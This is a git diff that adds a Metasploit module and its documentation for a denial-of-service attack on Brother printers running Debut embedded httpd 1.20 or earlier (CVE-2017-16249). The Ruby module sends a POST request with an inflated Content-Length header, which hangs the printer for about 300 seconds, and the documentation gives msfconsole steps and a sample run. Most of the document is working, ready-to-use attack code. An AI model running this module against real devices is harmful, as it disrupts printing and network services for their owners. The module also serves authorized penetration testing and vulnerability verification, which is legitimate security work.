diff --git a/documentation/modules/auxiliary/dos/http/brother_debut_dos.md b/documentation/modules/auxiliary/dos/http/brother_debut_dos.md new file mode 100644 index 0000000000..1961fea927 --- /dev/null +++ b/documentation/modules/auxiliary/dos/http/brother_debut_dos.md @@ -0,0 +1,34 @@ +## Vulnerable Application + + Versions <= 1.20 of the Debut embedded httpd web server in use by Brother printers are vulnerable to denial of service + via a crafted HTTP request. This module will render the printer unresponsive from requests for ~300 seconds. + This is thought to be caused by a single threaded web server which + has a ~300 second timeout value. By sending a request with a content-length larger than the actual data, the server waits + to receive the rest of the data, which doesn't happen until the timeout occurs. This DoS is for all services, not just http. + + This module was successfully tested against a Brother HL-L2380DW series. + + An nmap version scan of the vulnerable service should look similar to: + `80/tcp open http Debut embedded httpd 1.20 (Brother/HP printer http admin)`. + +## Verification Steps + + 1. Start msfconsole + 2. Do: ```use auxiliary/dos/http/brother_debut_dos``` + 3. Do: ```set rhost [ip]``` + 4. Do: ```run``` + 5. You should see Success, and manual attempts to browse the web interface don't load. + +## Scenarios + +### Brother HL-L2380DW with Debut embedded 1.20 + +``` +resource (brother.rc)> use auxiliary/dos/http/brother_debut_dos +resource (brother.rc)> set rhost 1.1.1.1 +rhost => 1.1.1.1 +resource (brother.rc)> exploit +[*] Sending malformed POST request at 2018-01-24 20:45:52. +[+] 1.1.1.1:80 - Connection Refused: Success! Server will recover about 2018-01-24 20:50:52 +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/dos/http/brother_debut_dos.rb b/modules/auxiliary/dos/http/brother_debut_dos.rb new file mode 100644 index 0000000000..05bafe2cac --- /dev/null +++ b/modules/auxiliary/dos/http/brother_debut_dos.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Brother Debut http Denial Of Service', + 'Description' => %q{ + The Debut embedded HTTP server <= 1.20 on Brother printers allows for a Denial + of Service (DoS) condition via a crafted HTTP request. The printer will be + unresponsive from HTTP and printing requests for ~300 seconds. After which, the + printer will start responding again. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'z00n <0xz00n@gmail.com>', # vulnerability disclosure + 'h00die' # metasploit module + ], + 'References' => [ + [ 'CVE', '2017-16249' ], + [ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-017/?fid=10211'] + ], + 'DisclosureDate' => 'Nov 02 2017')) + end + + def is_alive? + res = send_request_raw({ + 'method' => 'GET', + 'uri' => '/', + },10) + + return !res.nil? + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE + print_error("Couldn't connect to #{peer}") + end + + def dos + # The web server is single threaded, and when the content length is longer than the data, it will continue to wait + # for the rest of the data, which never comes, and times out after ~300 seconds. + data = Rex::Text.rand_text_alphanumeric(40) + send_request_cgi({ + 'method' => 'POST', + 'uri' => '/', + 'data' => data, #'asdasdasdasdasdasdasd', + 'headers' => { + # These are kept here since they were in the original exploit, however they are not required + #'Host' => 'asdasdasd', + #'User-Agent' => 'asdasdasd', + #'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', + #'Accept-Language' => 'en-US,en;q=0.5', + #'Referer' => 'asdasdasdasd', + #'Connection' => 'close', + #'Upgrade-Insecure-Requests' => 1, + #'Content-Type' => 'application/x-www-form-urlencoded', + 'Content-Length' => data.length + rand(10) + 10 #42 + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE + print_error("Couldn't connect to #{peer}") + end + + def run + time = Time.new + print_status("Sending malformed POST request at #{time.strftime("%Y-%m-%d %H:%M:%S")}.") + dos + + # Check to see if it worked or not + if is_alive? + print_error("#{peer} - Server is still alive.") + else + print_good("#{peer} - Connection Refused: Success! Server will recover about #{(time + 300).strftime("%Y-%m-%d %H:%M:%S")}") + end + end +end